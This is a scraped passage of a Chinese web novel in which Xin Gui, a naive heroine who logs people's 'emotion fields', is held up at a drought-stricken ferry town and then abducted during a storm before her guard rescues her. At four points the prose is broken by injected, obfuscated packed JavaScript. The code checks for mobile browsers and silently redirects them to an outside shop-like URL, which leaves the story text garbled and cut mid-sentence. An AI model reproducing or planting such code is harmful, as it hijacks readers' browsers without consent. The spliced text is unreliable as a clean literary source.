只可惜这个词不是情绪,不然就把它也塞进自己新建立的“脑中小抽屉”里。 她又向外看去,河水退得厉害,裸露出两旁常年被冲刷的痕迹。圆润的石头早已不像在水中那么柔亮,统一顶着白帽子,无言地和烈日对峙。 在它们周围,稀稀疏疏地长着野草,但也不怎么健康,随时准备一命呜呼。 “好像……”辛圭欲言又止。 “像什么?”方启星人在车上,无论辛圭说什么,但凡他醒着,这话就绝对不会掉在地上。 “像快秃了的头……”不是辛圭一定要用这个比喻,而是她之前从未见过掉头发的人,谁知那天吴掌柜没戴帽子进来,头上只剩稀稀拉拉几根头发,她还以为吴掌柜生了重病,闹了个笑话,因此印象深刻。 “噗!”方启星哈哈大笑起来,拍着座位:“妙啊妙啊,我有个朋友,诗书一绝,我必须得把你这个比喻说给他听,让他以此作首诗。千百年后,别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815819|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都忘了咱们,也忘不掉你这句像快秃了的头!” 辛圭着急:“你不是说不笑的吗?” 她着急地看着温子修,可谁知对方竟然也在忍笑。只不过辛圭看过来后,他很快敛色,但仍是掩不住眼中的笑意。 “小姐。”马车渐渐停了下来,成记行派来的杜掌柜在外说道:“前面就是槐山渡。” 温麟趾看了眼周围干裂的土地,叹道:“今年秋旱的厉害,水路不好走,槐山渡的人反倒积得更多了。” 在他的记忆当中,这次秋旱只是打了个开头,接下来冬天的雪少,来年的粮食产量也锐减,明年惊蛰之后雨水连连,像是把之前欠的水汽都一股脑还了回来,泡的庄稼烂在了地里。而之后几年天气愈发怪异,中间有一次他甚至提醒德明帝提早屯粮,但收效甚微。 想到这里,他缓缓吐了口浊气,天有异象向来是大乱的前奏。而自己这次竟然跟着一个小丫头远离了朝堂,远离了战场。 方启星看了眼河边那一排木屋,门楣被晒得起皮打卷,像是随时随地都会倒塌。“这地方都能把我烤熟。” 辛圭顺着他的目光看向那些木屋,还有渡口的棚子,阴凉角落里躲着的人:“他们看起来,好像脾气都不太好。” 杜掌柜:“脾气不好?正常。这槐山渡靠的就是渡口吃饭,如今水浅了,货船过不来,小摊小铺都快活不下去了。都活不下去了,谁还脾气好?” 原来如此。 辛圭恍然:不是他们本身脾气坏,是环境坏。 【情绪场记录·环境条目012:人的情绪也是会受到环境影响的。】 在光忆星,因为一切都安排的很好,天气也很平稳,所以是不会有这样的体会的。 辛圭突然觉得,光忆星可能也并非一无是处。 “不过姑娘,这地方要提防些。”杜掌柜补充道:“渡口鱼龙混杂。有的来讨债,有的走江湖,有的图便宜,眼下这么旱,说不准还有抢劫的。” 一行人下车,杜掌柜和方启星去安排船位,马夫忙着去伺候马匹,辛圭则和温麟趾则站在一旁等待。 辛圭很自然地从自己的小口袋里掏出一块糖,塞到嘴里。她昨晚睡得少,原本想在车上眯一会儿的,没想到路途颠簸,根本睡不了。如今只能依靠这糖,不仅能提神醒脑,还能压一压喉中那股酸涩感。 温麟趾看见她的动作,问道:“喜欢?” “嗯。”辛圭点点头,又拿了一颗糖递给他:“你也尝尝?” “不了。”温麟趾拒绝道:“我不喜吃糖。” 辛圭见他这么说,只得把糖收起来。 “槐山渡的柿子糖也很好吃。”温麟趾觉得自己刚才回绝的有些冷漠,不自觉补充了一句。 经他这么一说,辛圭才知道渡口边挑着一担一担橙色的方块是什么东西,原来那就是柿子糖。 “槐山渡地势不适宜种植,但却离商州很近。”温麟趾说道:“渡过这条河便是商州,而商州盛产柿子。” 他想起自己小时候很喜欢吃糖,父亲经常会把各地的糖果带回来给自己。不过自从父亲自戕,自己已经有多久没吃过糖了呢? 不过说来讽刺,他最欢吃的糖是柿子糖,而他的最后一次循环,便是死在了商州盛产柿子的时节。 “小姐。”杜掌柜和方启星匆匆而来,杜掌柜叹了口气,说道:“槐山渡现在水流浅,走不了几艘船,今日的船都被订满了,咱们怕是要在这里歇息一夜了。” 辛圭抬头,看着头顶的烈日: 【稳定人格手册·异世界观察项目草稿条目C004: 当环境本身就不稳定的时候。 结论:别指望行程可以按照计划来。】 不过,她舔了舔嘴里的那点甜味,默默地补充了一条:【计划之外发生的事,也许才是“实验”开始的地方。】 11. 第 11 章 槐山渡的客栈不少,但能好好住人的却不多。 河水变浅并非一日之功,来往商客却仍要过日子,要是不从渡口走水路,便要绕行一大圈,无论是金钱还是时间都划不来,只能堆积在槐山渡。 是以,几个客栈挤满了人,连大堂都难寻落脚之处。 寻了半天,终于在地势高些、但离渡口偏远的地方找到一个小客栈,匾额上刻着“山中河”三个大字,只是因为天干物燥,裂得“山”“河”不分彼此。 掌柜是个瘦高汉子,皮肤晒得黑黢黢的,一看来客的模样眼睛一亮,又飞快地压了下去,半死不活地问:“住店?” “住店。”杜掌柜拱手道:“还有房吗?” “就剩下两间偏房。” 辛圭偷偷打量一圈,堂里挤着十来号人,多是商队跟脚,空气里弥漫着汗味、干面粉味,还有一股闷闷的糊焦气。 杜掌柜回头商议:“姑娘得住一间房,剩下咱们四个挤挤也成,打个地铺什么的。” 车夫要看马,温麟趾更是没意见,他习惯了风餐露宿的行军日子,只剩方启星。他冲车夫招了招手,提议道:“我不习惯和人睡一起,要不咱俩换换,我睡马车上,你睡屋子里,也能好好休息。” 车夫心里自然同意,但还得看杜掌柜的意思。杜掌柜点了下头算是同意,转身问了店家价钱,在被宰了一刀的情况下也只好掏出银两。 温麟趾从马车上卸下被褥,他本想按照张妈嘱咐的去帮辛圭铺好,却在门口遇见辛圭。 “我自己来。”辛圭将东西抱走,往床上歪七扭八的一铺,回头冲温麟趾摆了摆手:“快去休息吧。” 温麟趾看着那张被铺成“山丘地形”的床,最终什么也没说,只轻声应了一句:“是”。转身回了隔壁房间。 辛圭第一次出远门,第一次感受颠簸,昨晚睡得又不好,几乎是倒头就睡着了。 方启星躺在马车板上,翘着腿,有一搭没一搭地看着星星,墙后突然传来一声轻咳,接着,一个小蜡丸飞了过来。方启星一抬手,准确无误地将蜡丸握在手中。 “京城下雨,商州造势。” 蜡丸中封着的是一张纸,字迹细小。方启星微微闭上双眼,他知道陆居平这是在提醒自己。 夜深后,槐山渡并没有变得凉爽,反而因为渡口客栈聚集了太多人,愈发闷热。 屋顶的瓦片像烤焦的饼,白日里被晒到发白的木梁,由芯子里向外散发热气。房间里只点了一盏豆大的油灯,烟气细细,不停歇地向上窜,最后贴到屋顶下,印下一圈一圈的暗痕。 辛圭在床上翻了个身,身下的草甸子发出窸窣响声。这里比不得光忆星,更比不上李府,也怪不得张妈在带床铺一事上态度强硬。 她从床上坐起来,摸到鞋,轻轻推门出去。 走廊并未好一些,人的各种味道混合交织在一起,伴随着能听到的鼾声、磨牙声此起彼伏,像鬼怪合唱团。 【新世界感官记录021: 项目:集体睡眠 音效:鼾声N,磨牙N。 备注:不合格!!!】 再往外走,外面才稍好些,夜风微潮,缓缓从河那头吹过来。渡口零星有几处灯火,像落在桌面的几滴蜡,圈圈叠叠。 “睡不着?”有人在廊下一角说话。 方启星斜靠在木柱上,袖子撩到手肘,头发闲散束着,很有一份江湖侠客的闲逸风姿。 他看着辛圭,笑得十分自然:“我就猜你要出来。” “你怎么知道?”辛圭有些纳闷。 “你白天一路都在摇晃,”背着月光,方启星向辛圭走来,“像一只被装在盒子里的小鸟,盒子一开,小鸟就该探头看看外面了。” 这个比喻不错,可以留着以后用,辛圭在心里默默记了一笔。 “给你,”方启星递过一个纸包,“槐山渡的柿子糖,听说是最后一批了,卖完就没了。” 辛圭打开纸包,淡淡的柿子香扑鼻而来。 从远处看,柿子糖一颗颗码的整齐,但拿在手上近距离看,才发现它们并不是那么完美,有的色深一些,有的缺了个角,有的矮上些许,好像每一块都在坚持做自己。 她捻了一块放进口中,糖衣碰到牙齿上,发出很轻的响声。 “好吃吗?”方启星轻声问道。 辛圭点头:“好吃。” 方启星笑:“槐山渡腌柿子熬柿子糖还是有一手的。” 辛圭抿着甜味,问道:“这是人一点一点熬出来的?” “不然呢?”方启星觉得她问的奇怪,想到她一直养在深闺中,便解释道:“阿嫲们晚上在家拿大灶慢慢熬的,糖这种东西,需要一直搅拌,等到它冒泡了再倒进容器,凝固后切着你手里的样子的。” 原来如此。 辛圭看着纸包里的糖块们,呢喃道:“手工做的糖真是各式各样。” “嗯?” 辛圭把后半句吞进了肚子里——而程序做出来的糖却是一模一样的。 她笑着问方启星:“你真的从车上跳下来过?” 她转移话题的表现太过明显,方启星却没有再问,他“噫”了一声:“真的,那时我可真是英勇无畏!可惜摔断了腿,但我的心跑了两里地。” 因为他当时要去找很重要的人,可那个人,再也没有回来。 “疼吗?”辛圭问道。她感觉到方启星情绪场里的那棵小星星突然躲到了云后,光线黯淡了许多。 “早忘了。”方启星抬头看了眼天,突然指着不远处的河道:“你看,白天是快秃了的头,晚上应该是这颗脑袋勉强戴上像样点的帽子了。” 河面映衬着月光,那些石头便也偃旗息鼓,不再顶着发白的脑壳儿了,像是被夜色安抚了一遍。 辛圭想起张妈,便靠近方启星,拉住他的手,安慰着:“没事儿的。” 指尖传来温软的触感,方启星愣住。 辛圭保持着这样的姿势,转身面对方启星,两人中间的空隙怕是只有晚风才能穿过。 “啊——”辛圭拿出一块柿子糖,塞到方启星的唇中:“吃糖就不疼了。” 糖在舌尖激起水渍,丝丝甜味逐渐蔓延至整个口腔。“砰”“砰”,方启星感觉自己的心脏刚才似乎是忘记该怎么跳动了,如今缓过神来,就要把刚才少跳的几下用力补回来。 “咳咳。”方启星别过头去,深吸两口气再回头看辛圭的时候,她已经侧过身去看河,她眼睛里满满地都是傻气和懵懂,仿佛刚才那一整套行为,只是一个极为自然的步骤。 他想说点什么,但又怕打破此刻的气氛,只是朝她那边靠近了些。 “嗯?”辛圭注意力并不在方启星身上,而是在认真记录—— 【情绪场记录·样本005方启星: 状态一:提到摔断腿——星星躲进云里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815820|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>状态二:被拉手、喂糖——星星亮度略微提升。 初步结论:拉手+喂糖=安慰。】 “夜里风大,容易着凉。”方启星找了个最蠢的借口。 辛圭以为他要给自己挡风,很诚实地说道:“风是从我这边来的。” “是我有点冷。”方启星说完,气恼地简直要跳起来狠狠跺地。 “那要不还是进去吧。”恐怕没有比这更诚恳的态度了。 一瞬间,方启星不知道该说什么好了。 辛圭歪了一下头,感受到他愈发沉闷的情绪场,又想起白天靠在温麟趾身上的效果,秉承着严谨的试验精神,她拉了下方启星的袖子,又把头靠在了他的肩上——腾得一下,星星从云层里冲了出来,骤然亮得惊人。 辛圭在心里认真记下: 【情绪场记录·样本005补充: 操作:拉袖子+靠肩 结果:星星骤亮。 结论:确实起到了鼓舞效果。在对方情绪场状态不佳的时候,是有效干预手段。】 果然,带着他们两个一起出来能学到很多! “轰!” 第一声雷,是从极远处滚过来的。闷闷的一声,把远处群山的轮廓短暂地照亮了些。但沉寂下来,反而觉得群山更黑。 一道细长的闪电划破夜幕,在云层中扭了一圈,又迅速被黑暗吞没。接近着是第二声雷,要近得多。 第一滴雨就这样落了下来,空气像是被雷敲出了水,第二滴很快落下,砸在屋檐上,沉沉的。 紧接着,第三滴第四滴。 雨点很大,每一颗都有分量,先是稀稀拉拉,下一个瞬间就像有人拿了一盆水,劈头盖脸地往下浇。 火苗被水一压,连挣扎的机会都没有,廊下的纸灯笼先灭了一盏,又灭了一盏。 方启星无语,他拉着辛圭往后退了退:“这雨……来的也太是时候了。” 离渡口近的地方有灯火闪烁,有人从客栈里冲出来,赶去挪白日搁在外面的货物。山中河内的人声也渐渐响起,温麟趾从里面走出,看见辛圭和方启星站在屋檐下,眉头轻锁。 他走上前:“下雨了。小姐先回去。下面的人怕是要往高处来,方启星去看车。” 客栈的门一扇扇打开,骂声、惊叹声混在一起。 “哎哟,这雨吓疯了!” “河水,河水涨起来了!” “再不挪就淹了!” 下面更乱,几乎是人仰马翻。 而槐山渡这一整片地方的情绪场,全都被雨水砸开了。 情绪场像骤然被敲碎的琉璃碎片,四处飞溅,乱成了一锅粥。可就在这沸沸扬扬的情绪场中——辛圭猛然回头。 “怎么了?”一路护着辛圭的温麟趾问道。 “那个人好像在高兴。” 温麟趾顺着她的视线看过去,那是一个白天就坐在大堂角落的商队行脚,此刻没有冲出去抢救自家的货物,而是将身影掩藏在人群中,东张西望片刻后从大堂后门钻了出去。 下雨高兴没什么稀奇,只是行为古怪。 “先回房。”温麟趾带着辛圭进了房间,又嘱咐道:“门栓好,别开门,我去看马。” 说罢,他扫了一眼辛圭手上的纸包,辛圭说明:“是柿子糖。” “待会儿别拿在手上,容易被挤掉。”温麟趾拿过纸包折好,放回她的手中:“在这里等我。” 12. 第 12 章 整座客栈都被雨声罩住,移去只大沙鼓内罩住,自身的声音被放大了无数倍。 楼下的动静越来越乱,临近的几间房也有人出去,门都来不及好好关,“砰”地被甩在身后。 声音们糊成一团,扭来打去,谁也不肯先让一步,于是就再难分辨形状和来源,只剩黑色的锅底。 明明没下雨的时候渴求雨,下雨的时候又害怕雨。 【实验手册·环境记录024 久旱后的暴雨:会带来极度混乱。 结论:没人喜欢意外,但意外却喜欢看乱子。】 楼下的混乱还在升级,有人大喊:“马!马棚那边!” 伴随着天上的雷鸣闪电,马发出强烈的嘶鸣声,蹄下的硬铁跺得地面啪啪作响。 辛圭忍不住扒开窗缝往外看,她房间的窗靠近后门,只能隐约看见廊下奔走的人影被雨线切分,你撞我我推你。几匹马冲开人群,四处奔散。 “这马是疯了吗?” “快点拦住——” “方启星!快点!”是杜掌柜的喊声,后面的话被雨声和人声一道吞没。 辛圭又想起了刚才在楼下看到的那个商队行脚。 她目前对情绪场的认知是,只能感受到与自己相关的。所以混乱当中绝大部分都只是噪音,因为隔得远,又同她没关系,这些情绪来不及变成有形的情绪场,就都被雨声拍碎了。 但这个商队行脚却不一样,他的高兴是冲着她来的,十分突兀,所以她才能在一瞬间捕捉到。 当时辛圭想起手册里有一条:【稳定人格维护手册·集体安全版第5条:发现异常时,请第一时间直接通知负责人来处理。】 负责人? 那不是自己嘛。但自己显然处理不了。 她在心里给手册做了补充:【当负责人因经验不足或知识储备不足以处理的时候,请寻求相关专业人士帮助。】 相关专业人士,辛圭将成记行出门的几个人过了一遍,觉得可以颁给温麟趾“安全负责人”这个称号。 所以她才在上楼的时候告诉了温麟趾这个人的异样,但安全负责人到底去没去,亦或是觉得她只是在乱说而已,她就不得而知了。 而此刻,那股情绪场愈发强烈。她从来没见过能高兴成这样的,随着逐渐高涨的情绪,情绪场中越来越多尖刺拔地而起,黑黢黢的,看着吓人。 “嗒——”敲门声轻轻响起。 “哪位?”辛圭隔着门问。 “姑娘。”门外是个男人,声音压得很低,却很恭敬:“杜掌柜叫我来请姑娘去前面一趟,说槐山渡的船位有变,要问问姑娘的意思。” 对方的情绪场像根绷直了的铁丝。 若是说辛圭最近学到了些什么,那莫过于:她在能看清一个人表情的时候,也时常会产生错误的情绪判断,更不要提看不见对方表情的时候了。 可解读的方向太多了。 拿不准的时候,辛圭就会想起手册,尤其是她刚刚想到的:【稳定人格维护手册·集体安全版第5条:发现异常时,请第一时间直接通知负责人来处理。】 没错,自己确实是负责人。 但杜掌柜显然没有按照这条指令来行事,所谓“直接”,按照辛圭的词条理解,应该是发现人和负责人的直接对接,中间不应该假于他手。 于是,辛圭说道:“你叫杜掌柜来和我直接对接。” 门外那人顿了顿,笑了两声:“姑娘,这雨一下,下面乱得很,渡口已经乱成一锅粥了,杜掌柜抽不开身,这才叫我来请您过去。” 辛圭咬了咬唇,她感觉对方情绪场里的铁丝崩得更紧了。 对方理由充足,涉及任务的推进,自己应该去。 她把门栓拨开。 门缝刚一放大,一只脚快速伸了进来,门板“砰”地撞在墙上。下一秒,一只粗糙的手就捂上了她的嘴。 “别叫。”男人湿漉漉的,手里的刀沾着水汽:“叫一声就捅你一刀。” 铁器冷硬,抵上辛圭腰侧,寒意透过衣裳钻进皮肤。男人一只手勒住她的肩,几乎是半拖半拽地把她从屋子里拽出来,往走廊阴暗处拖。 【情绪场记录·样本013: 对象:男性,身份不明男性。 形态:绷紧的铁丝 不是推测,是确认:有伤人意图。】 【人际行为互动·参考样本013: 对象:样本013 行为:用利器威胁生命,禁止发出声音,拖拽。 推测:符合“词条326号”,判定为挟持。】 【补充样本013: 绷紧的铁丝推测为紧张。】 “走快点。”他低声骂,“别以为你是小姐,我就不敢下手。” 走廊里灯火昏黄,人都在刚才冲了出去,只留下满地的湿脚印,根本无人发现这里的异样。 辛圭试图放慢自己的脚步,只可惜对方力气太大,她硬撑着才不至于摔倒。 “哎——你们那边干嘛的?”楼梯口突然有人听见动静,看了一眼,问道。 辛圭刚想做出点表情,突然一个身影挡住了她的视线,也挡住了楼梯口那人的视线。 是散发着高兴情绪场的商队行脚。他装出着急的模样:“哎呦!你快点!不是让你去请小姐嘛!” 辛圭听见挟持自己的铁丝男缓缓出了一口气,答:“地滑,姑娘没站稳。”说罢,他好声好气的:“姑娘您慢点。” 外面又是一阵吼:“马又冲了!让一让!别围着!” 楼梯口那人见状便没再多问,只赶着下楼去了。 眼见着这点希望也被掐灭,辛圭努力让自己慢慢呼吸。 【新世界自测002: 当前情绪:害怕。 新增症状:心跳过快。脚发软。 推测:怕死。】 商队行脚朝外瞟了一眼:“还不谢谢我?看见没,那匹灰马差点把杜掌柜给掀翻了。” “多谢。”铁丝男吞了下口水,试探问道:“你也是思交镇的?” “哦!原来你是思交镇的啊。”商队行脚啧了啧:“我记得思交镇和成记行不是老交情了嘛,怎么着,现在反目成仇了?” “呸!成记行那群没良心的人,也配和我们称交情。”铁丝男啐道:“他们拿蛀了的木材交货,我们师傅们忙活了大半年的辛苦,都泡汤了。他们还敢上门要货款?” “都没良心!连老天爷也没良心!看见没?光看他们被挤成那样,我心里就舒坦。”商队行脚又笑,情绪场里的尖刺横生。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815821|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 辛圭看他俩配合无间,一个趁乱纵马,一个趁乱劫人;一个劫人,一个打掩护,还以为他们是一伙的呢,敢成并不相识? 思交镇,辛圭想起自己第一天看账本的时候那个红圈,吴掌柜说思交镇拖欠货款,要过好几次都不给。可在思交镇的人口中,又是另外一幅情景。 【新世界人际交往记录014:不能只听一面之词。】 商队行脚打量着眼前的两个人,笑着说:“我看你这个意思是要掳了人过去谈条件吧。既然有仇,为什么不直接捅上几刀?反正活人是用,半死不活的人难道就不能用?要是你不敢,我可以先给你打个样。” 他的笑和标准的笑容不同,嘴咧得过大,脸被挤压的很难看,让人觉得不舒服。 “我替思交镇谢谢您,”铁丝男这时也反应过来,对方似乎和自己并非真正同一阵线,只是对方做的事情恰巧帮助了自己而已。他说:“这个恩我记下了,麻烦您让一让。” “啪嗒啪嗒”,有人踩在积水的地板上,脚步很稳,但却很急促。 温子修从楼梯上走出来。 雨水沿着他的袖口滴下来,几乎全身湿透,灯光从侧面斜斜地照过来,将他原本就沉郁的眉眼衬得更暗。 温麟趾第一眼就看见了辛圭。 第二眼,看到了抵在她腰侧的那把刀。 铁丝男立刻将刀往上抬,抵到辛圭的脖颈处:“别过来!再走一步,我就捅了她!” 铁丝绷的更紧,发出阵阵痛苦的嗡鸣。 【新世界自测003: 当前状态:心跳的很快。 推测:紧张+愤怒】 至于愤怒是怎么来的,辛圭自己也不知道。 商队行脚眼睛一转,退到一边,之前让人不舒服的笑意全消,又变成一副苦大仇深的样子:“我只是路过,和他没关系,你还得谢谢我帮你拖延时间,不然他早就带着你们姑娘跑了。” 温子修目光淡淡从他身上扫过,再次看向铁丝男,“不如先谈一谈,你们想要什么?” 他站定,没有再往前走一步:“要货?要钱?还是只要人?” 商队行脚见似乎没自己什么事儿了,慢慢向楼梯处退去。 “我……”铁丝男犹豫了一瞬,随即说道:“我只要人!你们成记行没信用,耍赖皮惯了!你区区一个长随说给我们钱给我们货,到时候又翻脸不认人。” “要人……”温麟趾面色不变,“不行。” 商队行脚在温麟趾身后缓缓举起手,手上是一把寒光烁烁的刀,想必他就是用这个放马的。 辛圭在心里快速过到: 【实验手册·新世界决策记录002: 问题】 “小心身后!” 【:要不要出声提醒? 样本013说出声就捅我。 建议决策:为保护自身,免除被清除的风险,不要出声。】 她的喊声比在心里完成笔记还要快,几乎是不受控制的。 喊完之后,辛圭露出一副哀莫大于心死的表情,破嘴,比脑子快!这破新世界,果然感觉是对的,自己脑子没有以前好用了,在光忆星自己是绝对不会出现这种纰漏的! 雨声在这一刻轰然加大,仿佛整个槐山渡都被按在了水里。 13. 第 13 章 决策记录 002 辛圭懊恼地记录: 【决策记录002失败 原因:嘴巴擅自行动。】 她有点想哭,在光忆星如果出现这种情况,她会被判定为“执行力过强、未严格遵守指令”,是会被单独拉出来做案例分析的。 但就在这时候,她的脑子很顽强地释放出一条新分支: 【决策记录002补充:危险值评估 对象A:样本004温子修 对象B:本人 被伤害危险值预估:对象A处于生命危险级别,对象B处于被伤害风险级别。 综合评估:对象A>对象B。 建议:在可控范围内,优先提醒对象A。】 【决策记录002补充:本人危险值评估 被伤害风险级别:B级 观测内容:1.样本013产生挟持动作。 2.在他人提出可对本人造成伤害时,样本013转移话题。 推测:1.样本013有谈判意图,本人目前生命无虞。 2.样本013无主动伤害意图,但有被动伤害倾向。】 辛圭松了一口气——很好,虽然慢了点,但她的脑子还是有能力做出一条完整逻辑链条的。说明不是脑子坏了,而是身体太过紧张。 她在心里给自己点了个“鼓励”的表情符号,默默记下: 【新世界自测004: 状态:嘴比脑子快。 推测:因身体过度紧张,导致大脑运作能力减弱。初步推测是受到脑部杏仁核影响过深。 建议:加强脑部海马体以及杏仁核危急时刻的锻炼。】 这也实在是没有办法,毕竟在光忆星是绝对不会出现这样的紧急情况的,自然也没有机会锻炼。 社会平稳,是每个人刻入骨髓的精神核心。 在她四处发散的同时,温麟趾忽然往后“折”了一寸,精准地避开下刺的匕首,同时侧脚踢出。随后,他猛地回身,不知什么时候短刃已在手,斜劈向商户行脚的手腕。 “啊——” 行脚听见辛圭出声提醒,但他根本没想到温麟趾能在这瞬间做出反击,只觉得自己扑了个空,身子失去平衡,手上一麻,虎口像是被什么东西硬生生撕开,刀“当啷”一声掉在地上,溅着浅薄的水滚到了墙角。 他被这一刀砍得发懵,再一低头,发现手腕竟然被狠狠砍裂,伤口看不清有多深,大量的血已经将它糊作一团。 他试着动了动手,却发现手已经完全不听使唤,这才后知后觉地捂着手惨叫起来。 突如其来的变故使铁丝男愣住了。 原本他脑子里就处于被发现后的一片混乱,现在又有个人靠在墙角大喊大叫。 这是个间隙。 非常小,也很短暂,但确实存在。 辛圭在心里立刻弹出了问题二: 【决策记录003:是否趁机挣脱? 方案一:立即挣脱。但样本013力气大,我方极有可能无法及时挣脱。 概率估计:50%被重新抓住,激起对方主动伤害的风险; 30%样本013在精神紧绷的状态下做出主动伤害行为; 10%被样本013拽倒; 10%侥幸逃脱。 方案二:暂不挣脱,保持身体稳定,交由安全负责人处理。 综合评估:平稳>逃脱。 建议:不要乱动,等人来救。】 辛圭艰难地咽了下口水——她觉得自己还是很怕死的。 同时,她对自己的杏仁核和海马体表示祝贺,因为它们完成了一次试炼,在这样的情况下仍然努力维持着工作环境,没有带崩其他“部门”。 辛圭下意识收了收肩膀,把重心往后略略压低。并不是挣扎,而是让自己不至于被对方那么轻易拎走。 温麟趾的第二刀紧跟着落下。 速度很快,他也抓住了这个间隙,在辛圭做好决策的同时冲了过来。 温麟趾几乎是贴着辛圭的侧面掠过,刀锋反出的冷光闪过辛圭的眼角,刀身斩向铁丝男持刀的手腕。 “你别——”铁丝男话说到一半,眼见温麟趾就要砍上自己握着匕首的手,条件反射手往后一躲。 “嘶——”是刀刃划开皮肉的声音。 辛圭感觉到自己颈边有一股凉意,接着,一阵火辣辣的疼钻出来,像有人拿着烛火贴在皮肤上,先是温柔,却很快变成剧痛,向四周蔓延开去。 鲜血顺着铁丝男湿透的袖子落在地上,很快就被稀释成浅红色。 但他的刀并没有挪开,反倒因为姿势问题和温麟趾的压力,被迫向内继续推进。 辛圭只能听见自己放大了的心跳:“砰——砰——砰……” 【新世界自测005: 当前症状:害怕80%,愤怒20%,不甘20%, 新增症状:疼。】 疼,也可以单独成为一个项目。 为什么分数加起来是120分? 不甘又是什么时候进来的? 请相信安全负责人,他是相关经验人士。 辛圭努力地记录,努力地梳理,想要将自己稳定下来,但脑子里乱七八糟,不受控制地向外吐着不合时宜的思考。 温麟趾余光看见辛圭,她睁着那双略微下垂的眼睛,就这样看着自己。没哭,不慌乱,是信任,是把一切都交托给自己。 手中的刀终究还是收了六分力,从“砍断手腕”降低到“使对方无力掌握武器”。 利刃擦着铁丝男的手腕划过去,一道深深的血痕立刻裂开,连着刚才勒紧刀柄的肌肉一起崩掉了气力,铁丝男手上的刀应声落地。 铁丝男惨叫着,被迫松开了手。 就是这一瞬间的松动,辛圭做出了她目前最为果断的一次行为决策,没有进行任何评估—— 她冲着铁丝男的腿,用尽全身力气,狠狠地踹了一脚。 这一脚踹得并不优雅,角度歪七扭八,力道也不符合光忆星系统示范的那种科学使用,只是简单粗暴。 但意外的好用。 铁丝男伤在手臂,地面又湿,人也仓促,如今被辛圭一脚踹得后仰,整个人重重的摔在了走廊上。 一脚得逞后,辛圭连忙向后,退到温麟趾身后的那一小片“安全区”,才停下来捂住自己的脖子。 脚还是软的。 【新世界自测006: 当前行为反馈:狠狠地踹人可以把“怕死”分配出去一部分。 推测:“能量”守恒?】 温麟趾显然不是那种会温柔询问“姑娘有没有吓着”的人。对他来说,剥夺对方的行动能力是当务之急。 他捡起地上的刀,一脚踩向铁丝男的肩,对方痛呼一声,像个被卸掉力气的木偶,再动弹不得。 干净利落地解决两人后,辛圭发现温麟趾的情绪场几乎没有变化,只是井面有很轻微的波动。但那波动只是一瞬间就被井水本身抹平,好像从来没有发生过一般。 辛圭认真记录:【新世界实验笔记·环境记录016:此处挟持、伤人事件频发。因此本地人练武的评级与光忆星有巨大差别。 备注:新世界版防身级别≈光忆星A级单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815822|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵技巧。】 “别——别杀我。”铁丝男情绪场里的铁丝拧成了一团。 他的声音和商队行脚的惨叫声此起彼伏,逐渐有人冲上来查看情况。 商队行脚眼见人多起来,开始喊道:“是他!是他让我这么干的!都是他!他说要报复成记行,他说要抓小姐去换钱。我根本不是思交镇的人,我就是贪财,一时糊涂,我、我、我也没碰过小姐一根手指头啊——” 他哭得鼻涕眼泪横流,委屈极了,情绪场却是另外一个模样: 【情绪场记录·样本015: 对象:假冒商队行脚的坏人。 表层情绪:喊冤、求饶。 情绪场形态:一只在抽风放烟花的刺猬。刺猬的嘴巴咧地很大,好像并没有受到疼痛影响。 推测:不是高兴。符合词条045含义:亢奋。】 【稳定人格手册·异世界观察项目E029:亢奋型犯罪享乐。 定义:对方并不在乎受害者是谁,只在乎“乱”和“疼”本身。 分析:通过目前的科学研究,怀疑与大脑前额叶水平相关,但两者之间并非因果关系,请注意辨认。具体仍在研究当中。 备注:这是一种光忆星上所没有的、对所有人都不友好的人类类型。如果发现有人有此倾向,请将其列为危险目标,保持远离。】 原来如此。那些黑色的突兀尖刺,是刺猬。 辛圭想起自己在楼下捕捉到的那股“高兴”,这非但不是高兴,甚至不是针对她一个人的,而是针对所有在客栈里,甚至是在槐山渡的人的。 铁丝男被跑上来的众人按在地上,缓过一口气,立即反驳:“放屁!明明是你先说的——” 上楼的人群不知道发生了什么,只是听他们这么说,便窃窃私语道: “抢人啊?!” “思交镇的人?!” “思交镇不是和成记行关系不错吗?” 